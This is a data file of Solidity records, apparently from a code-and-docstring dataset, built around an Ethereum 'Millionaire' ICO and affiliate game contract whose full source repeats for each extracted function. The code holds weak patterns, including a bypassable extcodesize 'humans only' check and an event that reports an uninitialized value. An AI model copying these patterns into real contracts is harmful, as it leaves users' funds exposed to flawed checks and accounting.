uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
/**
* @dev sell coin to eth
* @param _coins sell coins
* @return return back eth
*/
function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
/**
* 10/100 transfer to pot
* 90/100 transfer to owner
*/
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
/**
* @dev anyone winner of milfold will call this function
* @param _addr winner address
*/
function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
/**
* @dev If unfortunate the game has problem or has no winner at long time, we'll end the game and divide the pot equally among all MF users
*/
function splitPot()
external
payable
{
require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
/**
* @dev returns ico info
* @return ico end time
* @return already ico summary
* @return ico phase is end
*/
function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
/**
* @dev returns player info based on address
* @param _addr address of the player you want to lookup
* @return player ID
* @return player eth balance
* @return player MFCoin
* @return general vault
* @return affiliate vault
*/
function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
/**
* @dev give _eth can convert how much MFCoin
* @param _eth eth i will give
* @return MFCoin will return back
*/
function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
/**
* @dev returns current eth price for X coins.
* @param _coins number of coins desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
function getMFBalance(address _addr)
public
view
returns(uint256) {
return balance_[_addr];
}
} | buyICO | function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
| /**
* @dev buy MFCoin use eth in ico phase
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
3506,
3681
]
} | 6,951 |
|||
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | Millionaire | contract Millionaire is MillionaireInterface,Milevents {
using SafeMath for *;
using MFCoinsCalc for uint256;
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant private name_ = "Millionaire Official";
uint256 constant private icoRndMax_ = 2 weeks; // ico max period
uint256 private icoEndtime_; // ico end time
uint256 private icoAmount_; // ico eth amount;
uint256 private sequence_; // affiliate id sequence
bool private activated_; // mark contract is activated;
bool private icoEnd_; // is ico ended;
MilFoldInterface public milFold_; // milFold contract
MilAuthInterface constant private milAuth_ = MilAuthInterface(0xf856f6a413f7756FfaF423aa2101b37E2B3aFFD9);
uint256 public globalMask_; // use to calc player gen
uint256 public mfCoinPool_; // MFCoin Pool
uint256 public totalSupply_; // MFCoin current supply
address constant private fundAddr_ = 0xB0c7Dc00E8A74c9dEc8688EFb98CcB2e24584E3B; // foundation address
uint256 constant private REGISTER_FEE = 0.01 ether; // register affiliate fees
uint256 constant private MAX_ICO_AMOUNT = 3000 ether; // max tickets you can buy one time
mapping(address => uint256) private balance_; // player coin balance
mapping(uint256 => address) private plyrAddr_; // (id => address) returns player id by address
mapping(address => Mildatasets.Player) private plyr_; // (addr => data) player data
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready start");
_;
}
/**
* @dev prevents contracts from interacting with Millionare
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 0.1 ether, "must > 0.1 ether");
_;
}
/**
* @dev check sender must be devs
*/
modifier onlyDevs()
{
require(milAuth_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
/**
* @dev default buy set to ico
*/
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
/**
* @dev buy MFCoin use eth in ico phase
*/
function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function icoCore(uint256 _eth) private {
if (icoEnd_) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
if (block.timestamp > icoEndtime_ || icoAmount_ >= MAX_ICO_AMOUNT) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
icoEnd_ = true;
milFold_.activate();
emit onICO(msg.sender, 0, 0, MAX_ICO_AMOUNT, icoEnd_);
} else {
uint256 ethAmount = _eth;
if (ethAmount + icoAmount_ > MAX_ICO_AMOUNT) {
ethAmount = MAX_ICO_AMOUNT.sub(icoAmount_);
plyr_[msg.sender].eth = _eth.sub(ethAmount);
}
icoAmount_ = icoAmount_.add(ethAmount);
uint256 converts = ethAmount.mul(65)/100;
uint256 pot = ethAmount.sub(converts);
//65% of your eth use to convert MFCoin
uint256 buytMf = buyMFCoins(msg.sender, converts);
//35% of your eth use to pot
milFold_.addPot.value(pot)();
if (icoAmount_ >= MAX_ICO_AMOUNT) {
icoEnd_ = true;
milFold_.activate();
}
emit onICO(msg.sender, ethAmount, buytMf, icoAmount_, icoEnd_);
}
}
}
/**
* @dev withdraw all you earnings to your address
*/
function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
/**
* @dev register as a affiliate
*/
function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
function setMilFold(address _milFoldAddr)
public
onlyDevs
{
require(address(milFold_) == 0, "milFold has been set");
require(_milFoldAddr != 0, "milFold is invalid");
milFold_ = MilFoldInterface(_milFoldAddr);
}
function activate()
public
onlyDevs
{
require(address(milFold_) != 0, "milFold has not been set");
require(activated_ == false, "ICO already activated");
// activate the ico
activated_ = true;
icoEndtime_ = block.timestamp + icoRndMax_;
}
/**
* @dev external contracts interact with Millionare via investing MF Coin
* @param _addr player's address
* @param _affID affiliate ID
* @param _mfCoin eth amount to buy MF Coin
* @param _general eth amount assign to general
*/
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
// if affiliate not exist, assign affiliate to general, i.e. set affiliate to zero
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
/**
* @dev updates masks for round and player when keys are bought
*/
function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev game contract has been paid 20% amount for Millionaire and paid back now
*/
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
//check player eth balance is enough pay for
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
/**
* @dev convert eth to coin
* @param _addr user address
* @return return back coins
*/
function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
/**
* @dev sell coin to eth
* @param _coins sell coins
* @return return back eth
*/
function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
/**
* 10/100 transfer to pot
* 90/100 transfer to owner
*/
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
/**
* @dev anyone winner of milfold will call this function
* @param _addr winner address
*/
function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
/**
* @dev If unfortunate the game has problem or has no winner at long time, we'll end the game and divide the pot equally among all MF users
*/
function splitPot()
external
payable
{
require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
/**
* @dev returns ico info
* @return ico end time
* @return already ico summary
* @return ico phase is end
*/
function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
/**
* @dev returns player info based on address
* @param _addr address of the player you want to lookup
* @return player ID
* @return player eth balance
* @return player MFCoin
* @return general vault
* @return affiliate vault
*/
function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
/**
* @dev give _eth can convert how much MFCoin
* @param _eth eth i will give
* @return MFCoin will return back
*/
function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
/**
* @dev returns current eth price for X coins.
* @param _coins number of coins desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
function getMFBalance(address _addr)
public
view
returns(uint256) {
return balance_[_addr];
}
} | withdraw | function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
| /**
* @dev withdraw all you earnings to your address
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
5162,
5616
]
} | 6,952 |
|||
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | Millionaire | contract Millionaire is MillionaireInterface,Milevents {
using SafeMath for *;
using MFCoinsCalc for uint256;
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant private name_ = "Millionaire Official";
uint256 constant private icoRndMax_ = 2 weeks; // ico max period
uint256 private icoEndtime_; // ico end time
uint256 private icoAmount_; // ico eth amount;
uint256 private sequence_; // affiliate id sequence
bool private activated_; // mark contract is activated;
bool private icoEnd_; // is ico ended;
MilFoldInterface public milFold_; // milFold contract
MilAuthInterface constant private milAuth_ = MilAuthInterface(0xf856f6a413f7756FfaF423aa2101b37E2B3aFFD9);
uint256 public globalMask_; // use to calc player gen
uint256 public mfCoinPool_; // MFCoin Pool
uint256 public totalSupply_; // MFCoin current supply
address constant private fundAddr_ = 0xB0c7Dc00E8A74c9dEc8688EFb98CcB2e24584E3B; // foundation address
uint256 constant private REGISTER_FEE = 0.01 ether; // register affiliate fees
uint256 constant private MAX_ICO_AMOUNT = 3000 ether; // max tickets you can buy one time
mapping(address => uint256) private balance_; // player coin balance
mapping(uint256 => address) private plyrAddr_; // (id => address) returns player id by address
mapping(address => Mildatasets.Player) private plyr_; // (addr => data) player data
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready start");
_;
}
/**
* @dev prevents contracts from interacting with Millionare
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 0.1 ether, "must > 0.1 ether");
_;
}
/**
* @dev check sender must be devs
*/
modifier onlyDevs()
{
require(milAuth_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
/**
* @dev default buy set to ico
*/
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
/**
* @dev buy MFCoin use eth in ico phase
*/
function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function icoCore(uint256 _eth) private {
if (icoEnd_) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
if (block.timestamp > icoEndtime_ || icoAmount_ >= MAX_ICO_AMOUNT) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
icoEnd_ = true;
milFold_.activate();
emit onICO(msg.sender, 0, 0, MAX_ICO_AMOUNT, icoEnd_);
} else {
uint256 ethAmount = _eth;
if (ethAmount + icoAmount_ > MAX_ICO_AMOUNT) {
ethAmount = MAX_ICO_AMOUNT.sub(icoAmount_);
plyr_[msg.sender].eth = _eth.sub(ethAmount);
}
icoAmount_ = icoAmount_.add(ethAmount);
uint256 converts = ethAmount.mul(65)/100;
uint256 pot = ethAmount.sub(converts);
//65% of your eth use to convert MFCoin
uint256 buytMf = buyMFCoins(msg.sender, converts);
//35% of your eth use to pot
milFold_.addPot.value(pot)();
if (icoAmount_ >= MAX_ICO_AMOUNT) {
icoEnd_ = true;
milFold_.activate();
}
emit onICO(msg.sender, ethAmount, buytMf, icoAmount_, icoEnd_);
}
}
}
/**
* @dev withdraw all you earnings to your address
*/
function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
/**
* @dev register as a affiliate
*/
function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
function setMilFold(address _milFoldAddr)
public
onlyDevs
{
require(address(milFold_) == 0, "milFold has been set");
require(_milFoldAddr != 0, "milFold is invalid");
milFold_ = MilFoldInterface(_milFoldAddr);
}
function activate()
public
onlyDevs
{
require(address(milFold_) != 0, "milFold has not been set");
require(activated_ == false, "ICO already activated");
// activate the ico
activated_ = true;
icoEndtime_ = block.timestamp + icoRndMax_;
}
/**
* @dev external contracts interact with Millionare via investing MF Coin
* @param _addr player's address
* @param _affID affiliate ID
* @param _mfCoin eth amount to buy MF Coin
* @param _general eth amount assign to general
*/
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
// if affiliate not exist, assign affiliate to general, i.e. set affiliate to zero
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
/**
* @dev updates masks for round and player when keys are bought
*/
function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev game contract has been paid 20% amount for Millionaire and paid back now
*/
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
//check player eth balance is enough pay for
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
/**
* @dev convert eth to coin
* @param _addr user address
* @return return back coins
*/
function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
/**
* @dev sell coin to eth
* @param _coins sell coins
* @return return back eth
*/
function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
/**
* 10/100 transfer to pot
* 90/100 transfer to owner
*/
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
/**
* @dev anyone winner of milfold will call this function
* @param _addr winner address
*/
function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
/**
* @dev If unfortunate the game has problem or has no winner at long time, we'll end the game and divide the pot equally among all MF users
*/
function splitPot()
external
payable
{
require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
/**
* @dev returns ico info
* @return ico end time
* @return already ico summary
* @return ico phase is end
*/
function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
/**
* @dev returns player info based on address
* @param _addr address of the player you want to lookup
* @return player ID
* @return player eth balance
* @return player MFCoin
* @return general vault
* @return affiliate vault
*/
function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
/**
* @dev give _eth can convert how much MFCoin
* @param _eth eth i will give
* @return MFCoin will return back
*/
function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
/**
* @dev returns current eth price for X coins.
* @param _coins number of coins desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
